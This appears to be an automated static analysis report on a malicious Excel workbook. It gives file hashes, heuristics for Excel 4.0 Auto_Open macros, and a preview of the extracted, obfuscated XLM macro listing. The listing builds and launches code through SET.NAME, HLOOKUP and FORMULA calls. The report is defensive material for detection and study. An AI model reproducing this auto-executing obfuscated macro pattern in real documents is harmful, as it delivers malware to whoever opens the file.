Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 023ebe6faa15574d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:09 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 5226de7f3fc5e25c7b6e7facebc5f9c5 SHA-1: 2dfe4c09b013eba7b0adafb317a2bbf7fef78386 SHA-256: 023ebe6faa15574d92999e4e944e91614d525a721ace06003ac168cbb47acc0c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6359 bytes
SHA-256: 146244d67cd4233edf92210458658b9b40c7b60e39cfed37f56ecf8daa53b538
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dMm
' 0018     27 LABEL : Cell Value, String Constant - anKChgNkIfCu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D135 
' 0018     20 LABEL : Cell Value, String Constant - bISYd len=0 
' 0018     23 LABEL : Cell Value, String Constant - CWttSRdr len=0 
' 0018     23 LABEL : Cell Value, String Constant - EmBxklVN len=0 
' 0018     22 LABEL : Cell Value, String Constant - jAHAkUL len=0 
' 0018     25 LABEL : Cell Value, String Constant - jIRIZddUul len=0 
' 0018     20 LABEL : Cell Value, String Constant - jJCqi len=0 
' 0018     25 LABEL : Cell Value, String Constant - JoFoizLtHf len=0 
' 0018     24 LABEL : Cell Value, String Constant - kzqHZDwOr len=0 
' 0018     25 LABEL : Cell Value, String Constant - lIbCauDYYZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - LPoBgbie len=0 
' 0018     26 LABEL : Cell Value, String Constant - LPzneKHHNKo len=0 
' 0018     21 LABEL : Cell Value, String Constant - ocHOVq len=0 
' 0018     21 LABEL : Cell Value, String Constant - osKUCI len=0 
' 0018     26 LABEL : Cell Value, String Constant - PEeHbtsygfA len=0 
' 0018     24 LABEL : Cell Value, String Constant - plxeuWEem len=0 
' 0018     21 LABEL : Cell Value, String Constant - PuGPXC len=0 
' 0018     20 LABEL : Cell Value, String Constant - RaqBI len=0 
' 0018     24 LABEL : Cell Value, String Constant - TYBWUhlsV len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZLLlvWUdYExk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dMm,D41,"SET.NAME("lIbCauDYYZ",VALUE("0"))",""
'  dMm,D44,"SET.NAME("RaqBI",lIbCauDYYZ)",""
'  dMm,D47,"SET.NAME("kzqHZDwOr",lIbCauDYYZ)",""
'  dMm,D51,"SET.NAME("TYBWUhlsV",COUNTA(LPoBgbie))",""
'  dMm,D55,"SET.NAME("anKChgNkIfCu",COUNTA(LPzneKHHNKo))",""
'  dMm,D58,[],""
'  dMm,D60,"SET.NAME("JoFoizLtHf","")",""
'  dMm,D64,"RaqBI",""
'  dMm,D66,"SET.NAME("osKUCI",HLOOKUP("*",LPoBgbie,RaqBI,FALSE))",""
'  dMm,D71,"PuGPXC",""
'  dMm,D74,"SET.NAME("ocHOVq",lIbCauDYYZ)",""
'  dMm,D79,[],""
'  dMm,D83,"ocHOVq",""
'  dMm,D86,"EmBxklVN",""
'  dMm,D90,"bISYd",""
'  dMm,D93,"CWttSRdr",""
'  dMm,D98,"SET.NAME("ZLLlvWUdYExk",VALUE(HLOOKUP("*",LPzneKHHNKo,CWttSRdr,FALSE)))",""
'  dMm,D101,"jAHAkUL",""
'  dMm,D103,"JoFoizLtHf",""
'  dMm,D108,"kzqHZDwOr",""
'  dMm,D112,NEXT(),""
'  dMm,D117,"jJCqi",""
'  dMm,D121,"SET.NAME("f",INT(T(FORMULA(T(JoFoizLtHf)&"",""&T(jJCqi)))))",""
'  dMm,D124,"plxeuWEem",""
'  dMm,D128,NEXT(),""
'  dMm,D132,RETURN(),""
'  dMm,D159,"SET.NAME("jIRIZddUul",D41)",""
'  dMm,D164,"LPoBgbie",""
'  dMm,D169,"SET.NAME("LPzneKHHNKo",R60C15)",""
'  dMm,D173,"SET.NAME("plxeuWEem",182)",""
'  dMm,D177,"SET.NAME("PEeHbtsygfA",4)",""
'  dMm,D181,jIRIZddUul(),""
'  dMm,D182,HALT(),""

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